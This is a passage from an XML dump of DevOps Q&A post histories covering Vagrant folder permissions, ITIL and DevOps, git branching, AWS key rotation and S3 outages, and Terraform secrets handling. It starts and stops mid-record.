'vagrant', group: 'www-data', mount_options: ['dmode=776', 'fmode=775']&#xD;&#xA;        end&#xD;&#xA;        config.vm.synced_folder ANSIBLE_PATH, ANSIBLE_PATH_ON_VM, mount_options: ['dmode=755', 'fmode=644']&#xD;&#xA;        config.vm.synced_folder File.join(ANSIBLE_PATH, 'bin'), bin_path, mount_options: ['dmode=755', 'fmode=755']&#xD;&#xA;    else&#xD;&#xA;        if !Vagrant.has_plugin? 'vagrant-bindfs'&#xD;&#xA;            fail_with_message &quot;vagrant-bindfs missing, please install the plugin with this command:\nvagrant plugin install vagrant-bindfs&quot;&#xD;&#xA;        else&#xD;&#xA;            wordpress_sites.each_pair do |name, site|&#xD;&#xA;                config.vm.synced_folder local_site_path(site), nfs_path(name), type: 'nfs'&#xD;&#xA;                config.bindfs.bind_folder nfs_path(name), remote_site_path(name, site), u: 'vagrant', g: 'www-data', o: 'nonempty'&#xD;&#xA;            end&#xD;&#xA;            config.vm.synced_folder ANSIBLE_PATH, '/ansible-nfs', type: 'nfs'&#xD;&#xA;            config.bindfs.bind_folder '/ansible-nfs', ANSIBLE_PATH_ON_VM, o: 'nonempty', p: '0644,a+D'&#xD;&#xA;            config.bindfs.bind_folder bin_path, bin_path, perms: '0755'&#xD;&#xA;        end&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;How can I make changes to this file in a way so that I can control permission to specific files and folders when I need. Since changing the permission within the vagrant synced folder on the host machine doesn't reflect on the Virtual Machine, I must at least be able to do it by changing the Vagrantfile and then re-provisioning.&#xD;&#xA;&#xD;&#xA;How can I achieve this easily that will persist upon future re-provisioning?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/roots/trellis&#xD;&#xA;  [2]: https://github.com/roots/trellis/blob/master/Vagrantfile" ContentLicense="CC BY-SA 3.0" />
  <row Id="609" PostHistoryTypeId="2" PostId="218" RevisionGUID="807e8253-724f-484e-9fa0-3eab58bceb44" CreationDate="2017-03-02T12:14:11.207" UserId="13" Text="In my opinion, the DevOps culture come along with a methodology change toward [Agile][1] process management.&#xD;&#xA;&#xD;&#xA;ITIL is heavily aimed at a clear formalism of the process and the results and thus more adapted to a [Waterfall](https://en.wikipedia.org/wiki/Waterfall_model) model.&#xD;&#xA;&#xD;&#xA;This doesn't mean ITIL is incompatible with Devops, but usually this will be two separate process with different timelines. &#xD;&#xA;I mean that the inclusion of a new product within ITIL referential will usually be delayed until the product/application has been released in production for a while, where early pitfalls and some documentation needed to integrate ITIL has been done and adapted after the product is &quot;live&quot;.&#xD;&#xA;&#xD;&#xA;One of the thing in ITIL is the Service Design, which is assumed to be defined before any development task, an agile process will/may review the design in each iteration, breaking the formalism needed in an ITIL processus.&#xD;&#xA;&#xD;&#xA;The main goal of ITIL is, as you said, to provide a framework to ensure nothing is omitted between the design/conception and maintenance phase (Build/Run).  &#xD;&#xA;In a devops culture, the whole team is responsible of all phases on long term, hence why the formalism is reducted.&#xD;&#xA;&#xD;&#xA;That doesn't mean we have to forget ITIL, the core principles are absolutely good and, in my opinion, should be used as a checklist to build the initial backlog of a product.&#xD;&#xA;It's just that following the ITIL principle with all its formalism goes against the time to market reduction goal of a quick iterative software development and sometimes is not even applicable as there's less transmission of information needed between teams, as the tasks are done by the same team.&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Agile_software_development" ContentLicense="CC BY-SA 3.0" />
  <row Id="610" PostHistoryTypeId="2" PostId="219" RevisionGUID="a5963e09-a3ea-4b8c-842e-1dc5441f1d58" CreationDate="2017-03-02T12:30:32.287" UserId="156" Text="In a continuously developed web project (not a product) we currently have the following branching strategy, roughly based on *git flow*:&#xD;&#xA;&#xD;&#xA;- develop branch: latest working version&#xD;&#xA;- master branch: version to be released / released version&#xD;&#xA;- feature branches: features in development&#xD;&#xA;- hotfix branches: urgent bugfixes in released version&#xD;&#xA;&#xD;&#xA;**Master** is read only, updated via pull requests from **develop** or **hotfix branches**. Each update results in a release candidate being built and deployed to the staging system. Release candidates are deployed to production after manual approval. &#xD;&#xA;&#xD;&#xA;**Feature branches** are created based off **develop**, or from the last commit that has been merged into master. A pull request from a feature branch to develop is built, deployed to a free test system where integration tests and acceptance tests (automatic &amp; manual) are executed. When successfully tested and reviewed, the PR gets merged, so that it will become part of the next release (i.e. merge from develop to master).&#xD;&#xA;&#xD;&#xA;## My goal&#xD;&#xA;&#xD;&#xA;I would like to simplify this and get rid of the develop branch. The develop branch has mostly historical reasons and since it is always a successfully tested version, I think it is unnecessary to keep it separated from master. Removing it will also simplify the release process because there is no additional merge anymore.&#xD;&#xA;&#xD;&#xA;###I have the following constraints:&#xD;&#xA;&#xD;&#xA;- releases are scheduled and should not be fully automated&#xD;&#xA;- while feature branches are typically short lived, some stay unmerged for several weeks (e.g. a redesign) but need to be tested as well (currently as open pull requests to develop)&#xD;&#xA;- sometimes a single feature should be released outside the regular release, effectively turning it into a hotfix. With the current strategy I can rebase a feature branch and merge it directly into master&#xD;&#xA;- it also happens that we need to hold back features after acceptance tests with external systems on staging failed&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;### Where I am not sure about the transition:&#xD;&#xA;&#xD;&#xA;- currently I am building pull requests for testing and merge commits for releases. Can I unify this?&#xD;&#xA;- how to deal with hotfixes when the master is ahead of the latest release. Should I build and deploy releases directly from hotfix branches?&#xD;&#xA;- is there a sensible way to deal with features that should be excluded from a release after they have already been merged? Is a separate develop branch really an advantage for these cases? Most of the time I end up reverting and re-reverting commits manually anyways." ContentLicense="CC BY-SA 3.0" />
  <row Id="611" PostHistoryTypeId="1" PostId="219" RevisionGUID="a5963e09-a3ea-4b8c-842e-1dc5441f1d58" CreationDate="2017-03-02T12:30:32.287" UserId="156" Text="How to get rid of develop branch for simplified Git flow" ContentLicense="CC BY-SA 3.0" />
  <row Id="612" PostHistoryTypeId="3" PostId="219" RevisionGUID="a5963e09-a3ea-4b8c-842e-1dc5441f1d58" CreationDate="2017-03-02T12:30:32.287" UserId="156" Text="&lt;git&gt;&lt;release-management&gt;&lt;builds&gt;&lt;branch&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="613" PostHistoryTypeId="2" PostId="220" RevisionGUID="7cba3e8b-bf42-47db-b9f4-d135a83e45f1" CreationDate="2017-03-02T13:05:09.377" UserId="72" Text="I'm ITIL certified (though it has been a while.)  I agree with Tensibai: ITIL and DevOps aren't *incompatbile*, but that doesn't necessarily make them great friends.&#xD;&#xA;&#xD;&#xA;The argument can be made that the processes in ITIL must happen in some way, especially for larger organizations.  Successful integration of DevOps practices, where ITIL is already practiced, requires careful planning, communication, and execution.  Then again, that's true of any DevOps Transformation.&#xD;&#xA;&#xD;&#xA;For a &quot;greenfield&quot; transformation where neither ITIL or DevOps are in place, I'd craft a combination of both using &quot;mapped&quot; terminology as you have described.  As long as everyone in the organization is on the same page, using the same language, ITIL and DevOps can add value when combined.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="614" PostHistoryTypeId="5" PostId="216" RevisionGUID="559bb08c-f881-44a5-bdb5-62f03e890442" CreationDate="2017-03-02T13:05:27.023" UserId="228" Comment="There was a typo" Text="Another way to describe differences between *Site Reliability Engineering* and *DevOps* is to look at [Wikipedia][1]'s explanation of a **`Site Reliability Engineer`**, which starts like so:&#xD;&#xA;&#xD;&#xA;&gt; Site reliability engineer (SRE) is a job description given to software engineers focused on reliability, scalability, and the development of cloud computing infrastructure, known as Site Reliability Engineering (SRE).&#xD;&#xA;&#xD;&#xA;So you may consider SREs as people involved in ***`Building walls`*** ...&#xD;&#xA;&#xD;&#xA;However, [Wikipedia's][2] explanation of **`DevOps`** starts like so:&#xD;&#xA;&#xD;&#xA;&gt; DevOps ... is a term used to refer to a set of practices that emphasize the collaboration and communication of both software developers and information technology (IT) professionals while automating the process of software delivery and infrastructure changes. It aims at establishing a culture and environment where building, testing, and releasing software can happen rapidly, frequently, and more reliably.&#xD;&#xA;&#xD;&#xA;What it doesn't say is that all these DevOps practices are actually triggered by a **Demand** from the business side. So combined with building and testing (the **Develop** part of it) and the **Release** of software, DevOps is about a **DDR** (= Demand-Develop-Release) culture and environment, which some people may remember from these [9 seconds of a  historical speach][3] to **`Tear down this wall`**.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Site_reliability_engineer&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/DevOps&#xD;&#xA;  [3]: https://www.youtube.com/watch?v=7NjNL4Nsa4Q" ContentLicense="CC BY-SA 3.0" />
  <row Id="615" PostHistoryTypeId="24" PostId="216" RevisionGUID="559bb08c-f881-44a5-bdb5-62f03e890442" CreationDate="2017-03-02T13:05:27.023" Comment="Proposed by 228 approved by 40 edit id of 56" ContentLicense="CC BY-SA 3.0" />
  <row Id="616" PostHistoryTypeId="2" PostId="221" RevisionGUID="77bc5bb0-315c-4d92-8723-5275e2b1ceb3" CreationDate="2017-03-02T13:12:30.073" UserId="228" Text="Let's say you take out the master branch  (you can rename develop to master to confuse your team if you like later) and simply use tags for releases either on develop or hotfix branches. You took out a branch, but the difference is just a change in syntax. Change for change sake.&#xA;&#xA;Now let's say you actually take out develop with keeping the locked master branch. What will happen is that integration of code will slow, it will live longer separated in feature branches, especially close to release dates. This will Increase the difficulty of merging each time and slow the process down.&#xA;&#xA;Within the constraints you have laid down I don't see any positive effects of making such change. It would require relaxing the constraints, especially the first one." ContentLicense="CC BY-SA 3.0" />
  <row Id="617" PostHistoryTypeId="5" PostId="54" RevisionGUID="6da60167-6236-4557-9ff8-2838308c25ea" CreationDate="2017-03-02T13:20:47.743" UserId="10" Comment="update based on Meta feedback." Text="My team is currently trying to decide if we should deploy our Nodejs app as a deb package instead of trying to run it in a container such as Docker.&#xD;&#xA;&#xD;&#xA;I got this idea from reading this blog [here][1] which makes some good arguments for using a deb package for a pre-existing python application. The main point from this blog which is appealing to us is the issue of maintaining the Docker ecosystem (port sharing,  permissions, hosting of Docker Images, etc.)&#xD;&#xA;&#xD;&#xA;It seems like &quot;dep-packages as the original containers&quot; makes a lot of sense for small services where there is no concern of port conflicts and where all the dependencies are maintained within a virtual environment.&#xD;&#xA;&#xD;&#xA;My gut, however, is telling me that if deb packages were a good fit, it would be more common and docker would be advertised as a more language specific solution.  Are there any drawbacks of using something like deb packages to deploy our services, instead of using a full system such as docker?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://nylas.com/blog/packaging-deploying-python/" ContentLicense="CC BY-SA 3.0" />
  <row Id="618" PostHistoryTypeId="2" PostId="222" RevisionGUID="d2a8970c-e672-42e6-bf89-1f37bd123a1c" CreationDate="2017-03-02T13:22:30.067" UserId="72" Text="A *value stream* is a process that adds value to a collection of things that have less inherent value.  The canonical example there is an assembly line.  I have little interest in a disconnected collection of parts (steering wheel, shifter, gas pedal.)  On the other hand, I'll pay good money for a car.  Car manufacturers *add value* to the parts in the form of facilities, skilled work, supply chains, etc.  Parts go in one end of the stream, cars come out the other.&#xD;&#xA;&#xD;&#xA; Enterprises use complex processes to deliver their products and/or services.  *Value stream mapping* is a process used by companies to figure out *how and where they deliver value.*  The purpose of value stream mapping is to develop a clear understanding of the steps, time, and resources required to support a business capability that delivers value.  &#xD;&#xA;&#xD;&#xA;Value stream mapping is useful in *kaizen*, or Continuous Improvement.  The &quot;systems thinking&quot; employed in DevOps and Lean encourages small, incremental improvements made throughout a complex process.  A value stream map can expose areas of waste, such as unnecessary or inefficient steps in a value stream.  A complete map tends to expose those areas of waste.  This helps prioritize improvements.&#xD;&#xA;&#xD;&#xA;Value Stream Mapping can be applied at large scope to a business process, or to a smaller scope within software delivery.  The software delivery process itself mirrors an assembly line.  Code is written, reviewed, tested, integrated, and tested again.  It is delivered from one environment to another (in manufacturing this is called a *work center*) until it is finally delivered to Production." ContentLicense="CC BY-SA 3.0" />
  <row Id="619" PostHistoryTypeId="2" PostId="223" RevisionGUID="a353e2c7-a6a0-4ba6-9efa-290c6a068b5b" CreationDate="2017-03-02T13:22:54.443" UserId="27" Text="There are two parts of this Vagrantfile, one does the mounting for Windows hosts (the first half), the other one for UNIX hosts (the second half), but essentially the do the same - just with different plugins.&#xD;&#xA;&#xD;&#xA;You can see from the `config.vm.synced_folder` and `config.bindfs.bind_folder` commands where they set up the appropriate directories with the proper permissions.&#xD;&#xA;&#xD;&#xA;To add a new directory with different permissions simply add them to the list. Note that `File.join('a','b')` simply converts the path to `a/b`, but it's a nicer way to do it, as it's platform independent (on Windows it can also handle `\` style paths).&#xD;&#xA;&#xD;&#xA;So for example if you want to give the `/tmp/needswrite` folder more permission you can simply add the following two lines to their appropriate places:&#xD;&#xA;&#xD;&#xA;Windows config:&#xD;&#xA;&#xD;&#xA;    config.vm.synced_folder File.join(ANSIBLE_PATH, 'tmp', 'needswrite'), File.join(ANSIBLE_PATH_ON_VM, 'tmp', 'needswrite'), mount_options: ['dmode=777', 'fmode=777']&#xD;&#xA;&#xD;&#xA;Unix config:&#xD;&#xA;&#xD;&#xA;    config.bindfs.bind_folder File.join(ANSIBLE_PATH_ON_VM, 'tmp', 'needswrite'), File.join(ANSIBLE_PATH_ON_VM, 'tmp', 'needswrite'), perms: '0777'&#xD;&#xA;&#xD;&#xA;This will for example set their permission to `777` instead of the default `755`&#xD;&#xA;&#xD;&#xA;Note that in the Windows config you have to map from `ANSIBLE_PATH` to `ANSIBLE_PATH_ON_VM`, while on the Unix config bindfs will do a remount, so you need to match them with the same directory name.&#xD;&#xA;&#xD;&#xA;You can also play with users and groups:&#xD;&#xA;&#xD;&#xA;Windows config:&#xD;&#xA;&#xD;&#xA;    config.vm.synced_folder File.join(ANSIBLE_PATH, 'tmp', 'needswrite'), File.join(ANSIBLE_PATH_ON_VM, 'tmp', 'needswrite'), owner: 'new-owner', group: 'new-group', mount_options: ['dmode=755', 'fmode=755']&#xD;&#xA;&#xD;&#xA;Unix config:&#xD;&#xA;&#xD;&#xA;    config.bindfs.bind_folder File.join(ANSIBLE_PATH_ON_VM, 'tmp', 'needswrite'), File.join(ANSIBLE_PATH_ON_VM, 'tmp', 'needswrite'), u: 'new-owner', g: 'new-group', perms: '0777'&#xD;&#xA;&#xD;&#xA;Here we set them to use user `new-owner` and group `new-group`" ContentLicense="CC BY-SA 3.0" />
  <row Id="620" PostHistoryTypeId="5" PostId="162" RevisionGUID="53913996-4d19-4b36-9b6a-b4591d990bca" CreationDate="2017-03-02T13:40:44.390" UserId="42" Comment="Added question mark; reword to gender-neutral" Text="What are the different ways to use feature flag toggles in applications?&#xD;&#xA;&#xD;&#xA;If you were to explain to a developer the exact things that should be done in order to get from nothing to a full feature-flag-toggled application, what would those steps be?" ContentLicense="CC BY-SA 3.0" />
  <row Id="621" PostHistoryTypeId="24" PostId="162" RevisionGUID="53913996-4d19-4b36-9b6a-b4591d990bca" CreationDate="2017-03-02T13:40:44.390" Comment="Proposed by 42 approved by 26 edit id of 54" ContentLicense="CC BY-SA 3.0" />
  <row Id="622" PostHistoryTypeId="5" PostId="139" RevisionGUID="0ac87fcf-d2ff-48e9-a27c-ae57c6dfc0de" CreationDate="2017-03-02T13:40:48.830" UserId="42" Comment="Fixed some spellings; minor tweaks to grammar and sentence structure" Text="When migrating from something to something else, there are only two things you need to define:&#xD;&#xA;&#xD;&#xA; 1. What is your target&#xD;&#xA; 2. How to get there (the migration plan)&#xD;&#xA;&#xD;&#xA;The first part is, sadly, often overlooked or **way** too vague. You cannot simply say that what you have is a mess and you want to organize it. What would that mean? Everybody would have a different interpretation (aka: every dev thinks that *his* or *her* way of doing things is the best).&#xD;&#xA;&#xD;&#xA;Chances are, all the branches you have are serving or have served a purpose. Without a clearly defined target process, people will keep doing what works for them the way it suits them best (and rightly so).&#xD;&#xA;&#xD;&#xA;For example, your target should be defined as clearly as Vincent Driessen defined his [&quot;successful Git branching model&quot;][1]. If you look at this model, it is very precise: It says where stable code should be, and where unstable features should be developed. It also says how - and when - to branch, update and merge back. You know what each branch is for, and what to do with them. We use a variation of what was put forward by Vincent and our variation is defined in our wiki.&#xD;&#xA;&#xD;&#xA;The important point is to have all the team understand and agree on a target. It might be worth it to remind people that you are not looking for their personal favorite branching model, but a model that all the team members can agree on and use easily.&#xD;&#xA;&#xD;&#xA;Once you have your target, you'll be able to elaborate you migration plan. That plan can be as long or as short as you'd like. I've seen such branching model imposed overnight; at other places, it was done over 2 or 3 sprints. It doesn't matter much to me, as long as we are improving.&#xD;&#xA;&#xD;&#xA;You can start with the &quot;biggest&quot; or more important branches. E.g.: &quot;from now on, master must always be in a state to be deployed in prod and the dev branch must always compile&quot; (or whatever your rules). Then, enforce version (release) branches. Afterwards, enforce feature branches. After that, impose a code freeze on version branch, if it make sense.&#xD;&#xA;&#xD;&#xA;DevOps is all about communication, openness and efficiency. These concepts must be kept in mind and communicated throughout the process.&#xD;&#xA;&#xD;&#xA;I would suggest to invite some people outside of the development team to the process meeting as observers. Ops or middle management might have a thing or two to say about your model. The developers' needs should be prioritized, but if the branching model is impossible to align with the way things are managed, you'd be better knowing now and not in a month or two.&#xD;&#xA;&#xD;&#xA;If you have really big teams, try to include everyone nonetheless. With very big teams, you'll end up with two or three meetings anyway. So invite team leaders in the room, but have a webcast available and let everyone know about it. If anyone has a suggestion or concern, they'll be able to voice it to their team leader and if it is valid, it will be addressed on the second or third meeting.&#xD;&#xA;&#xD;&#xA;  [1]: http://nvie.com/posts/a-successful-git-branching-model/" ContentLicense="CC BY-SA 3.0" />
  <row Id="623" PostHistoryTypeId="24" PostId="139" RevisionGUID="0ac87fcf-d2ff-48e9-a27c-ae57c6dfc0de" CreationDate="2017-03-02T13:40:48.830" Comment="Proposed by 42 approved by 26 edit id of 49" ContentLicense="CC BY-SA 3.0" />
  <row Id="624" PostHistoryTypeId="5" PostId="104" RevisionGUID="f588d9fb-908e-4a98-b0a6-1f419c898888" CreationDate="2017-03-02T13:41:52.213" UserId="40" Comment="Integrate comments from OPer (below the existing answer)" Text="Is there a common practice for migrating a large repository of Jenkins job-dsl to Jenkins2 pipelines? I am looking for ways to test the behaviour of builds, that go a little further than comparison of generated artifact from same code base.&#xD;&#xA;&#xD;&#xA;Actually we have a quite large infrastructure, deployed via Ansible, and we got a verification environment which is topologically equivalent to production, so that would not be a problem. I am more interested in validation practices we could automate, as we build more from than 300 project repositories, there are a few thousand jobs spread across a few Jenkins masters." ContentLicense="CC BY-SA 3.0" />
  <row Id="625" PostHistoryTypeId="24" PostId="104" RevisionGUID="f588d9fb-908e-4a98-b0a6-1f419c898888" CreationDate="2017-03-02T13:41:52.213" Comment="Proposed by 40 approved by 26 edit id of 52" ContentLicense="CC BY-SA 3.0" />
  <row Id="626" PostHistoryTypeId="5" PostId="98" RevisionGUID="16361b5b-e273-46d5-b124-ea372946ab2f" CreationDate="2017-03-02T13:42:17.770" UserId="40" Comment="Integrate comments from OPer " Text="Looking at trying to build some resilience into our Ansible setup which deals with provisioning and configuration. &#xD;&#xA;&#xD;&#xA;I understand a few methods of testing on the configuration side of things but I'm wondering how best to implement testing on the provisioning side of things, and if there are any tools which can help with this type of implementation.&#xD;&#xA;&#xD;&#xA;Currently a lot of our testing is done serially during the playbook which makes a lot of sense for stuff like &quot;has service come up; is the vip available; has this async task finished&quot; but what really concerns me is our ability to manage drift of configuration at both the application and provisioning layer (such as VM configuration). I'm aware Ansible isn't the best tool for working with configuration drift but I'm curious to see your own opinions.&#xD;&#xA;&#xD;&#xA;If you have something to fully automate the process even better. (we have a few ugly scripts which report back in slack daily).&#xD;&#xA;&#xD;&#xA;**Note**: Right now we have a few conditions where a reprovision might occur (e.g. rebuild from backup, critical systems issue) but typically it just loops through some of the ansible configuring tasks and thinks no more of it." ContentLicense="CC BY-SA 3.0" />
  <row Id="627" PostHistoryTypeId="24" PostId="98" RevisionGUID="16361b5b-e273-46d5-b124-ea372946ab2f" CreationDate="2017-03-02T13:42:17.770" Comment="Proposed by 40 approved by 26 edit id of 53" ContentLicense="CC BY-SA 3.0" />
  <row Id="628" PostHistoryTypeId="5" PostId="33" RevisionGUID="207acfaa-6fcb-40f9-af28-cdb35e09696e" CreationDate="2017-03-02T13:42:27.687" UserId="40" Comment="added 184 characters in body" Text="Use this tag for questions about Jenkins,  an open source automation server written in Java, related to using Jenkins for topics such as building, testing, and deploying software, etc." ContentLicense="CC BY-SA 3.0" />
  <row Id="629" PostHistoryTypeId="24" PostId="33" RevisionGUID="207acfaa-6fcb-40f9-af28-cdb35e09696e" CreationDate="2017-03-02T13:42:27.687" Comment="Proposed by 40 approved by 26 edit id of 51" ContentLicense="CC BY-SA 3.0" />
  <row Id="630" PostHistoryTypeId="4" PostId="54" RevisionGUID="9f245cad-2a2c-450a-86db-b6ec0a3c1acc" CreationDate="2017-03-02T13:47:38.543" UserId="10" Comment="clarifying question." Text="Are there any drawbacks of using a deb package as if it was a container to deploy an application?" ContentLicense="CC BY-SA 3.0" />
  <row Id="631" PostHistoryTypeId="2" PostId="224" RevisionGUID="c5120aa0-c495-4af7-8d9e-854a9a4970ed" CreationDate="2017-03-02T14:05:39.577" UserId="10" Text="The AWS documentation is clear that automated key rotation is only supported by Amazon on a yearly basis. However, you can use the CLI to manually create new keys, and then use an automation technique such as cron to automate the manual process.&#xD;&#xA;&#xD;&#xA;In this case you can likely have [cron][1] run a bash script to read from a list of keys and credentials and then use the [aws kms cli][2] to &quot;manually&quot; change your keys.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.unixgeeks.org/security/newbie/unix/cron-1.html&#xD;&#xA;  [2]: http://docs.aws.amazon.com/cli/latest/reference/kms/create-key.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="632" PostHistoryTypeId="5" PostId="159" RevisionGUID="4e153715-6132-4e2d-9c01-46a583d1c451" CreationDate="2017-03-02T14:24:44.673" UserId="13" Comment="deleted 548 characters in body" Text="The rant is not really due to replication or availability of datas, the main existing problem of s3 is the [autoaliasing feature](http://docs.aws.amazon.com/AmazonS3/latest/dev/VirtualHosting.html) which allow a bucket to be accessed by the form `http://bucketname.s3.amazonaws.com` &#xD;&#xA;&#xD;&#xA;The drawback when there's replication come from the note below:&#xD;&#xA;&#xD;&#xA;&gt; Amazon S3 routes any virtual hosted–style requests to the US East&#xD;&#xA;&gt; (N. Virginia) region by default if you use the US East (N. Virginia)&#xD;&#xA;&gt; endpoint (s3.amazonaws.com), instead of the region-specific endpoint&#xD;&#xA;&gt; (for example, s3-eu-west-1.amazonaws.com).&#xD;&#xA;&#xD;&#xA;When you use replication you usualy let AWS takes care of routing the alias to one region by targetting `s3.amazonaws.com` in your REST request from your servers and let the redirect do it's job.  &#xD;&#xA;&#xD;&#xA;Whenever N.Virginia is down, the magic cease to work and you're out of luck to access your data and have to update your configuration to choose a specific region endpoint.&#xD;&#xA;&#xD;&#xA;When you use regions alias, you loose the ease of load balancing over regions with the health check from AWS included.  &#xD;&#xA; &#xD;&#xA;If you use DNS cname targeting the regions to switch quickly, you're responsible of your DNS TTL but nothing guarantee cache servers of client ISP will honor your value (one of many cache your client may encounter).  &#xD;&#xA;&#xD;&#xA;And lastly, if you try to load balance yourself you'll probably create the same SPOF than AWS already have with the added burden of maintaining it.  &#xD;&#xA;&#xD;&#xA;AWS is working on it but that's all the information I have at time of writing. " ContentLicense="CC BY-SA 3.0" />
  <row Id="633" PostHistoryTypeId="5" PostId="159" RevisionGUID="e8409dc7-ea88-4c2b-bd56-493638812aa6" CreationDate="2017-03-02T14:33:10.920" UserId="13" Comment="deleted 13 characters in body" Text="The drawback when there's replication come from the note below:&#xD;&#xA;&#xD;&#xA;&gt; Amazon S3 routes any virtual hosted–style requests to the US East&#xD;&#xA;&gt; (N. Virginia) region by default if you use the US East (N. Virginia)&#xD;&#xA;&gt; endpoint (s3.amazonaws.com), instead of the region-specific endpoint&#xD;&#xA;&gt; (for example, s3-eu-west-1.amazonaws.com).&#xD;&#xA;&#xD;&#xA;When you use replication you usualy let AWS takes care of routing the alias to one region by targetting `s3.amazonaws.com` in your REST request from your servers and let the redirect do it's job.  &#xD;&#xA;&#xD;&#xA;Whenever N.Virginia is down, the magic cease to work and you're out of luck to access your data and have to update your configuration to choose a specific region endpoint.&#xD;&#xA;&#xD;&#xA;The problem does _not_ come from the DNS (a request to the bucket itself will work) but from S3 clients, which will connect to the S3 API endpoint before accessing the bucket, in this case the dns resolution is done on `s3.amazonaws.com` and this is us-east-1 endpoint. &#xD;&#xA;&#xD;&#xA;When you use regions alias, you loose the ease of load balancing over regions with the health check from AWS included.  &#xD;&#xA; &#xD;&#xA;If you use DNS cname targeting the regions to switch quickly, you're responsible of your DNS TTL but nothing guarantee cache servers of client ISP will honor your value (one of many cache your client may encounter).  &#xD;&#xA;&#xD;&#xA;And lastly, if you try to load balance yourself you'll probably create the same SPOF than AWS already have with the added burden of maintaining it.  &#xD;&#xA;&#xD;&#xA;AWS is working on it but that's all the information I have at time of writing. " ContentLicense="CC BY-SA 3.0" />
  <row Id="634" PostHistoryTypeId="2" PostId="225" RevisionGUID="eccaa6ea-6513-4426-b659-8f759ba5c847" CreationDate="2017-03-02T14:44:34.353" UserId="47" Text="I'm looking for recommended branching strategies/workflows primarily applicable with GIT.&#xD;&#xA;&#xD;&#xA;Ideally pros/cons of such strategies/workflows should be mentioned as well." ContentLicense="CC BY-SA 3.0" />
  <row Id="635" PostHistoryTypeId="1" PostId="225" RevisionGUID="eccaa6ea-6513-4426-b659-8f759ba5c847" CreationDate="2017-03-02T14:44:34.353" UserId="47" Text="What branching strategies/workflows are available for GIT repositories?" ContentLicense="CC BY-SA 3.0" />
  <row Id="636" PostHistoryTypeId="3" PostId="225" RevisionGUID="eccaa6ea-6513-4426-b659-8f759ba5c847" CreationDate="2017-03-02T14:44:34.353" UserId="47" Text="&lt;git&gt;&lt;branch&gt;&lt;workflow&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="637" PostHistoryTypeId="5" PostId="225" RevisionGUID="2995cb5c-0c0f-4ff5-a1d6-0260928c51c7" CreationDate="2017-03-02T14:58:44.260" UserId="47" Comment="added clarification" Text="I'm looking for a high-level, summary description of the recommended branching strategies/workflows primarily applicable with GIT, which would serve as a guide for navigating this environment.&#xD;&#xA;&#xD;&#xA;Ideally a summary of pros/cons and maybe intended usage of such strategies/workflows should be mentioned as well.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="639" PostHistoryTypeId="2" PostId="226" RevisionGUID="a3a7cb01-3fee-45d7-a36c-883ff65795da" CreationDate="2017-03-02T15:22:22.520" UserId="425" Text="&#xD;&#xA;0&#xD;&#xA;down vote&#xD;&#xA;favorite&#xD;&#xA;I am working on an Angular2 project with Yii2 (PHP/MySQL) as its API point. We will need to deploy the Angular app in different languages for different customers (using AOT compilation from angular-cli).&#xD;&#xA;&#xD;&#xA;What is the best way to achieve this? I am looking at Docker or Ansible(-container) to make this work. But the examples are mainly for a 1:1 setup. But I would need a 1:n, something like:&#xD;&#xA;&#xD;&#xA;deploy app-de new_costomer prod_server&#xD;&#xA;Additional to that, when a new version of the app is available i want to update the entire network with the new app (that requires uploading of the src/ folder AOT compiled, and db migration scripts on the Yii2 side).&#xD;&#xA;&#xD;&#xA;Ideally it would do something like:&#xD;&#xA;&#xD;&#xA;deploy update network-all prod_server&#xD;&#xA;Any ideas?" ContentLicense="CC BY-SA 3.0" />
  <row Id="640" PostHistoryTypeId="1" PostId="226" RevisionGUID="a3a7cb01-3fee-45d7-a36c-883ff65795da" CreationDate="2017-03-02T15:22:22.520" UserId="425" Text="Continuous deployment Angular, PHP Api and Ansible - multisite" ContentLicense="CC BY-SA 3.0" />
  <row Id="641" PostHistoryTypeId="3" PostId="226" RevisionGUID="a3a7cb01-3fee-45d7-a36c-883ff65795da" CreationDate="2017-03-02T15:22:22.520" UserId="425" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="642" PostHistoryTypeId="4" PostId="214" RevisionGUID="19f9d3f4-0fbb-4e80-b3b3-f0dde752b73a" CreationDate="2017-03-02T15:35:30.313" UserId="342" Comment="edited title" Text="How do you manage your environment hosts inventory with Ansible on AWS" ContentLicense="CC BY-SA 3.0" />
  <row Id="643" PostHistoryTypeId="5" PostId="123" RevisionGUID="59331da5-4b56-49db-9c73-b1edd3528ea6" CreationDate="2017-03-02T15:37:00.370" UserId="6" Comment="fix typo" Text="Terraform [supports][1] adding an additional file with variables during invocation.&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;documentation: https://www.terraform.io/intro/getting-started/variables.html#from-a-file&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;We are using that feature to provide a `secrets.tfvars` file on each invocation of Terraform. We also use a script to wrap the command so that its invocation is consistent, and all team members avoid having to make the same mistakes. The wrapper synchronizes `.tfstate` with S3 before an execution, and pushes `.tfstate` back to S3 at the end. I also hear of people doing the same thing with state stored in Consul, even adding a kind of semaphore in consul to prevent two people from starting Terraform at the same time.&#xD;&#xA;&#xD;&#xA;When you avoid setting a default value in a `variables.tf` file, it forces the user to input the value. It can be either entered manually or using the `-var-file` command option like described above. Not setting a default on your secrets is a good way to enforce changes that require a change in secrets.&#xD;&#xA;&#xD;&#xA;The `secrets.tfvars` file is a symbolic link to one of the files with secrets which are not stored in version control. We have several, one per environment, like so `secrets-prod.tfvars`, `secrets-dev.tfvars`, `secrets-stg.tfvars`, etc...&#xD;&#xA;&#xD;&#xA;An even better practice would be to generate these secrets files during the wrapper script based on data in Vault or some other way to *share* secrets. Since currently when the format of secrets changes, or secrets themselves, we need to communicate it to the team outside the version control channel - and this doesn't always work well, to be honest. But secrets do change infrequently.&#xD;&#xA;&#xD;&#xA;  [1]: 